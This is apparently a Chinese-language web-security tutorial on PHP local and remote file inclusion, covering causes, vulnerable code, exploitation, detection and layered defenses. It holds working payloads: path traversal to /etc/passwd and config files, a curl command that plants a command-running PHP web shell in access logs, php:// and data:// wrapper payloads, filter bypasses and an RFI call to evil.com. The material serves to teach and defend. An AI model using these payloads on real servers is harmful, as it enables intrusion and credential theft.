1. 从一次“意外”的服务器文件泄露说起几年前我在做一次常规的网站安全巡检时遇到了一个非常典型的案例。那是一个企业内部的文档管理系统功能看起来平平无奇。但在测试过程中我无意间在某个页面的URL参数里尝试传入了一个../../../../etc/passwd的路径。原本只是想看看有没有目录遍历的毛病没想到浏览器竟然真的把服务器上系统的用户配置文件给吐了出来白纸黑字一览无余。那一刻我心里“咯噔”一下这可不是简单的目录遍历而是触发了更深层的“文件包含漏洞”。攻击者能通过这个口子不仅能看到敏感文件甚至能直接让服务器执行他们上传的恶意代码相当于拿到了整个系统后台的钥匙。这个经历让我对文件包含漏洞File Inclusion Vulnerability有了切肤之痛的认识。它绝不仅仅是“读个文件”那么简单在网络安全尤其是Web应用安全的攻防战场上这是一个历史悠久却经久不衰的“经典”漏洞。无论是CTF赛场上的必考题还是真实世界渗透测试中的高价值目标文件包含都扮演着关键角色。它就像程序在打开“文件”这扇门时忘记检查门外站的是谁以及对方递过来的是否真的是一份“文件”从而让攻击者有了可乘之机。今天我们就来彻底拆解这个漏洞从原理、类型、利用手法到防御之道结合实战场景让你不仅能看懂更能真正理解如何发现和防范它。2. 文件包含漏洞的核心原理与类型拆解要理解文件包含漏洞首先得明白程序为什么要“包含”文件。这其实是软件开发中一种常见的代码复用和模块化设计思想。比如一个网站的所有页面都有相同的头部导航栏和尾部版权信息。程序员不会在每个页面都重复写一遍这些HTML代码而是会把这些公共部分单独写成header.php和footer.php文件。然后在每个需要它们的页面里通过一句类似include(‘header.php’)的指令把这个文件的内容“包含”进来合并到当前页面中一起执行或显示。2.1 动态包含与漏洞的诞生安全的文件包含其包含的路径如‘header.php’应该是开发者在代码里写死的、固定的或者经过严格校验的。问题就出在“动态”包含上。为了增加灵活性程序员有时会允许通过用户输入的参数来动态决定包含哪个文件。例如URL是index.php?pagenews后台代码可能这样写$page $_GET[‘page’]; // 获取用户传入的page参数 include($page . ‘.php’); // 拼接后缀后包含用户的初衷可能是想看到news.php这个页面。但攻击者的思路不会这么规矩。如果程序没有对$page这个变量进行任何过滤攻击者就可以为所欲为。这就是文件包含漏洞诞生的土壤程序信任了用户可控的输入并将其直接用于决定包含哪个文件且未施加有效的路径限制或内容校验。2.2 两种主要的包含类型本地与远程根据被包含文件的来源位置文件包含主要分为两类它们的危害和利用方式有显著区别。2.2.1 本地文件包含本地文件包含Local File Inclusion, LFI顾名思义是指包含的文件来自于服务器本身。就像我开头举的那个例子攻击者通过构造诸如../../../etc/passwd这样的路径穿越Path Traversal字符串可以让程序包含服务器操作系统上的敏感文件。常见敏感文件路径Linux/Unix系统示例/etc/passwd系统用户账户信息。/etc/shadow加密后的用户密码哈希需高权限读取。/proc/self/environ当前进程的环境变量可能包含数据库密码等配置信息。/var/log/apache2/access.logWeb访问日志如果可写可用来注入恶意代码。网站源码文件如../config.php可能包含数据库连接密码。LFI的危害不仅在于信息泄露。在特定条件下它能转化为更严重的“远程代码执行”。例如如果服务器同时存在文件上传功能且上传的文件会被保存到已知路径攻击者可以先上传一个包含PHP代码的图片文件如shell.jpg然后通过LFI漏洞去包含这个图片文件如index.php?fileuploads/shell.jpg。由于PHP引擎会解析被包含文件中的?php … ?标签从而导致图片中的恶意代码被执行。2.2.2 远程文件包含远程文件包含Remote File Inclusion, RFI是更危险的一种情况。它允许包含的文件来自远程服务器比如http://attacker.com/shell.txt。当攻击者能够控制包含的路径为一个远程URL时他可以直接让目标服务器去请求并执行自己托管在外的恶意脚本。RFI生效的关键前提是PHP配置。在php.ini配置文件中allow_url_fopen和allow_url_include这两个选项需要被开启默认情况下后者通常是关闭的。一旦开启像include(‘http://evil.com/shell.php’)这样的语句就会成为现实。注意现代PHP版本及安全意识提升后allow_url_include默认关闭且强烈不建议开启因此纯粹的RFI漏洞已相对少见但LFI依然是高频风险点。LFI与RFI的简单对比特性本地文件包含远程文件包含文件来源目标服务器本地文件系统互联网上的远程服务器利用条件路径可控无需特殊配置路径可控且需PHP配置允许包含远程URL主要危害敏感文件读取、日志文件注入、结合上传getshell直接执行远程恶意代码快速获取服务器控制权常见性非常常见随着安全配置收紧已较少见2.3 漏洞的代码层面根源从代码角度看漏洞通常出现在使用以下PHP包含函数且参数用户可控时include()包含并执行文件如果文件不存在会发出警告但脚本继续执行。require()与include()类似但文件不存在时会产生致命错误脚本终止。include_once()/require_once()功能同上但会检查该文件是否已被包含过避免重复包含。漏洞代码模式示例// 危险示例1直接使用用户输入 $file $_GET[‘file’]; include($file); // 危险示例2拼接后缀但过滤不严 $page $_GET[‘page’]; include($page . ‘.php’); // 攻击者传入 ../../../etc/passwd%00在旧版PHP中%00截断可使.php后缀失效 // 危险示例3使用动态变量 $language $_GET[‘lang’]; include(‘/templates/’ . $language . ‘/header.php’); // 攻击者传入 ../../../../etc/passwd 进行路径穿越核心问题在于开发者假设用户输入是良性的、符合预期的而缺失了强有力的验证和过滤。3. 深入利用从文件读取到代码执行理解原理后我们来看看攻击者是如何一步步将简单的文件读取“升级”为系统控制权的。这个过程充满了技巧性也是文件包含漏洞在CTF和实战中魅力与危险并存的地方。3.1 基础利用敏感信息泄露这是最直接的利用方式。攻击者通过路径遍历../读取Web目录之外或之内的敏感文件。探测Web目录结构尝试包含index.php、config.inc.php、../index.php等通过错误信息或回显判断路径。读取系统文件如前所述的/etc/passwd。在Windows服务器上可以尝试包含C:\Windows\System32\drivers\etc\hosts或C:\boot.ini旧系统等。读取应用配置文件如../wp-config.phpWordPress数据库配置、../application/config/database.phpCodeIgniter框架等获取数据库连接信息为进一步渗透打下基础。实操技巧编码与绕过有时程序会对输入的../进行过滤。常见的绕过手法包括双重编码../-%2e%2e%2f-%252e%252e%252f服务器可能解码两次。超长路径使用过量的./如././././../某些过滤逻辑可能处理不当。绝对路径如果知道绝对路径直接使用如/var/www/html/config.php。3.2 高级利用日志文件注入与代码执行这是LFI漏洞的“高光时刻”通过“污染”服务器上的某些文件将其变为恶意代码的载体最终实现远程代码执行。3.2.1 利用访问日志Web服务器如Apache, Nginx会记录所有访问请求到日志文件如/var/log/apache2/access.log。如果攻击者能通过LFI读取这个日志文件并且能通过正常访问将一段PHP代码“写入”这个日志文件那么再通过LFI包含这个日志文件时代码就会被执行。攻击步骤确认日志路径可读通过LFI尝试读取/var/log/apache2/access.log或/var/log/nginx/access.log等常见路径。污染日志在浏览器或使用curl工具访问目标网站时在User-Agent或请求参数中插入PHP代码。例如curl -A “?php system($_GET[‘cmd’]); ?” http://target.com/这段代码会以User-Agent的形式被记录到访问日志中。通过LFI执行代码构造包含日志文件的URL并传递命令参数http://target.com/vuln.php?file/var/log/apache2/access.logcmdid如果成功服务器会执行id命令并将结果返回。实操心得这种方式成功的关键在于日志文件对Web进程可读且日志内容未被转义。现代服务器配置可能会将特殊字符转义增加利用难度。另外日志文件增长很快包含一个大文件可能导致PHP内存耗尽有时需要精准定位到包含恶意代码的那一行。3.2.2 利用其他可写文件除了日志任何能被攻击者写入内容且后续可通过LDI读取的文件都可能成为跳板。Session文件PHP的Session数据通常以文件形式存储在服务器如/tmp/sess_[sessionid]。如果攻击者能控制部分Session数据例如网站有一个“用户名”字段会存入$_SESSION他就可以将PHP代码写入Session文件然后通过包含该Session文件来执行代码。这需要知道或能预测Session文件的路径和名称。PHP临时文件在某些上传流程或数据处理中PHP会生成临时文件。虽然生命周期短且文件名随机但在竞争条件等复杂利用中也可能成为目标。/proc/self/environ这个文件包含了当前进程即处理请求的PHP进程的所有环境变量。其中User-Agent、Referer等HTTP头信息也作为环境变量存在。攻击者可以修改这些HTTP头注入代码然后包含/proc/self/environ来执行。这种方法对环境配置敏感不如日志文件通用。3.3 利用PHP封装协议PHP提供了一系列“封装协议”它们可以像普通文件路径一样用在文件包含函数中这为LFI利用打开了新世界的大门甚至可以在某些限制下实现类似RFI的效果。最常用、最强大的协议php://filter这个协议本身不执行代码但它能用于读取PHP文件的源码即使这些文件因为处于Web目录之外而无法直接通过URL访问或者被包含后就会执行。读取源码php://filter/readconvert.base64-encode/resourceindex.php这行路径会让PHP先读取index.php的内容然后经过base64-encode过滤器编码最后输出。因为输出的是base64编码的文本而非可执行的PHP代码所以我们就能看到文件的原始源代码从中寻找数据库密码、其他漏洞点等。其他过滤器还可以使用string.rot13、zlib.*等过滤器进行各种转换。其他有用协议php://input允许访问请求的原始数据流即POST Body。攻击者可以发送一个POST请求在Body中直接写入PHP代码然后包含php://input来执行。这需要allow_url_include开启且仅限于include等函数不适用于require等。data://允许在URI中直接嵌入数据。例如data://text/plain,?php phpinfo();?或data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8。同样需要allow_url_include开启。expect://可用于执行系统命令如expect://ls但该模块默认不安装极为罕见。利用协议绕过后缀限制假设代码是include($_GET[‘file’] . ‘.php’);攻击者传入php://filter/readconvert.base64-encode/resource/etc/passwd。由于整个字符串被拼接了.php但php://filter/…/passwd.php这个“文件”并不存在利用会失败吗不会。因为php://协议流在解析时其后的路径是协议内部处理的外部的.php后缀会被当作协议流路径的一部分而PHP在获取协议流内容时会忽略掉实际不存在的文件后缀问题直接返回/etc/passwd的内容或经过过滤器的转换结果。这是绕过固定后缀限制的利器。4. 实战挖掘如何发现文件包含漏洞知道了怎么利用那么在日常安全测试或CTF比赛中如何主动发现这类漏洞呢这需要结合黑盒与白盒的方法。4.1 黑盒测试外部探测当你只有一个目标URL没有源代码时可以这样尝试参数收集与模糊测试使用爬虫如Burp Suite的爬虫功能收集所有链接和参数。重点关注像page,file,load,template,lang,mod这类可能表示文件载入的参数名。对每个可疑参数进行Fuzzing模糊测试。使用一个包含常见路径遍历Payload如../../../etc/passwd,..\..\..\boot.ini和PHP封装协议Payload如php://filter/convert.base64-encode/resourceindex的字典进行测试。观察响应成功读取页面内容出现系统文件内容如/etc/passwd中的用户列表、PHP源码base64编码需解码、或明显的文件包含错误如“Failed opening ‘…’ for inclusion”。错误信息不同的错误信息是黄金线索。“No such file or directory” 说明路径被解析了但文件不存在证明参数确实被用于文件操作。“Warning: include()” 是PHP的包含警告直接石锤。响应时间差异包含一个不存在的本地文件和包含一个不存在的远程URL如果RFI可能开启服务器响应时间可能有细微差别可作为辅助判断。利用工具自动化使用ffuf,wfuzz等工具对参数进行快速Fuzzing。将Burp Suite的Intruder模块与强大的Payload列表如SecLists项目中的LFI-Jhaddix.txt结合进行高效探测。4.2 白盒审计代码审查如果有机会看到源代码发现漏洞的效率会高得多。全局搜索包含函数在代码中搜索include,require,include_once,require_once。追踪参数传递路径检查这些函数的参数是否是变量并向上追踪这个变量的来源。是否来自于$_GET,$_POST,$_REQUEST,$_COOKIE等用户可控的输入源。分析过滤逻辑如果存在过滤如替换../分析过滤是否严格、是否可被绕过如只过滤一次、未递归过滤、未考虑编码。检查配置文件查看php.ini或相关框架的配置确认allow_url_include和allow_url_fopen的设置。代码审计示例// vuln.php $module $_GET[‘mod’]; // 开发者试图过滤 “../“ $module str_replace(‘../’, ‘’, $module); include(‘modules/’ . $module . ‘.php’);这段代码的过滤是不安全的。因为str_replace只替换了一次。攻击者输入….//经过替换后中间的../被删掉剩下的部分又组合成了../成功绕过。5. 防御之道从开发到部署的纵深防护知道了攻击手法防御的思路就清晰了永远不要信任用户输入。这是一个黄金法则。具体到文件包含我们需要构建多层次的防御。5.1 开发层输入验证与白名单机制这是最根本、最有效的防御手段。使用白名单而非黑名单错误做法黑名单试图过滤掉../、php://等“危险”字符串。攻击者的绕过方法总是层出不穷。正确做法白名单定义一个允许包含的文件列表。例如$allowed_pages [‘home’, ‘news’, ‘about’, ‘contact’]; $page $_GET[‘page’]; if (in_array($page, $allowed_pages)) { include($page . ‘.php’); } else { include(‘error.php’); // 或直接die(‘Invalid request!’); }这样用户只能访问预设的几个页面从根本上杜绝了任意文件包含。固定目录限制范围 如果必须动态包含应将文件限制在某个特定目录内并使用绝对路径或基于固定根目录的路径。$base_dir ‘/var/www/html/templates/’; // 固定基础目录 $file $_GET[‘template’]; // 拼接后检查最终路径是否仍在基础目录内 $real_path realpath($base_dir . $file . ‘.tpl’); if ($real_path strpos($real_path, $base_dir) 0) { include($real_path); } else { die(‘Access denied.’); }realpath()函数会解析所有符号链接和../返回绝对路径再检查这个绝对路径是否以我们允许的$base_dir开头。避免直接拼接用户输入 尽量不要用用户输入直接拼接成文件路径。如果必须应进行严格的净化。5.2 配置层最小权限原则PHP配置硬化在生产环境的php.ini中务必设置allow_url_include Off和allow_url_fopen Off。这能彻底封死RFI和部分利用协议的攻击路径。设置open_basedir这个指令可以将PHP所能操作的文件限制在指定的目录树中。例如open_basedir /var/www/html这样PHP脚本就无法访问/etc/、/tmp/等目录了。注意open_basedir并非万能历史上存在一些绕过方法应作为纵深防御的一环而非唯一依赖。Web服务器权限以专用的、低权限的用户身份运行Web服务器进程如www-data,nginx。严格控制Web根目录以外文件的读权限。确保日志目录如/var/log/apache2对Web进程仅可写不可读如果不需要通过Web读取日志的话这能有效防御日志文件注入攻击。5.3 运维与架构层定期安全更新与代码审计及时更新PHP版本和框架修复已知的安全问题。对自定义代码进行定期的安全审计特别是涉及文件操作、用户输入处理的部分。部署Web应用防火墙WAF可以识别和拦截常见的路径遍历、协议封装等攻击Payload在应用层之外提供一道屏障。关键文件隔离将配置文件、日志文件等敏感信息存放在Web根目录之外即使存在LDI攻击者也无法直接通过Web路径猜测访问。6. 常见问题与排查技巧实录在实际渗透测试和防御加固中总会遇到一些典型问题和疑惑。这里记录几个常见的场景和解决思路。Q1测试时包含/etc/passwd返回了“No such file or directory”但包含../../../../etc/passwd却成功了为什么A这通常是因为当前脚本所在的目录深度不同。/etc/passwd是绝对路径而../../../../etc/passwd是相对路径。使用相对路径时起点当前工作目录可能是Web服务器的某个深层子目录。使用绝对路径更可靠。在测试时可以先用php://filter读取当前脚本源码确定其绝对位置。Q2使用php://filter读取源码时返回一堆乱码或空白怎么办A首先检查Payload是否正确。确保使用了convert.base64-encode过滤器返回的应该是纯Base64字符串。如果返回乱码可能是目标文件不是文本文件如图片。输出被页面其他HTML代码包裹或截断查看网页源代码CtrlU而非渲染后的页面。存在WAF或过滤拦截了包含协议的关键字。可以尝试大小写混淆、双重编码等方式绕过。Q3在CTF题中遇到include($file . ‘.php’)且无法截断如何利用A如果PHP版本较高5.3.4%00空字节截断通常失效。可以尝试以下思路利用PHP Session如果题目有文件上传或能控制Session内容可以尝试Session文件包含。利用日志/环境变量这是经典思路。寻找不依赖后缀的包含点也许其他参数存在无后缀拼接的包含点。利用php://filter的巧妙之处如前所述php://filter/…/etc/passwd.php这个“资源”在协议处理时可能因为passwd.php不存在而失败但协议处理器可能会忽略不存在的最终文件而直接访问passwd。这需要具体测试。利用压缩流包装器zip://或phar://协议可以包含压缩包内的文件且不受后缀限制。例如上传一个包含shell.php的ZIP文件shell.zip然后包含zip:///path/to/shell.zip%23shell.php#需要编码为%23。Q4作为开发者我用了realpath()做了目录检查是不是就高枕无忧了Arealpath()配合目录前缀检查是很好的做法但要注意竞争条件在检查路径 (realpath) 和使用路径 (include) 之间如果攻击者能快速进行符号链接攻击可能有机会绕过。这种情况较罕见。确保$base_dir末尾有斜杠strpos($real_path, $base_dir) 0检查时如果$base_dir是/var/www/html/templates而攻击者传入路径恰好能让$real_path变成/var/www/html/templates_backdoor/evil.php由于前缀匹配检查会通过。因此$base_dir应定义为/var/www/html/templates/。文件包含漏洞的攻防是一场关于“信任”与“控制”的博弈。对于开发者而言建立对用户输入绝对不信任的安全意识并采用白名单、路径校验等积极防御策略是筑牢防线的根本。对于安全研究者而言理解漏洞的深层原理和多种利用技巧则是在复杂环境中发现潜在风险的关键。这个漏洞虽然原理不复杂但其多样的利用方式和与其他漏洞组合产生的巨大威力让它始终在OWASP Top 10等安全威胁榜单中占有一席之地。在实战中保持警惕在开发中贯彻安全规范才能有效应对这类“经典的威胁”。
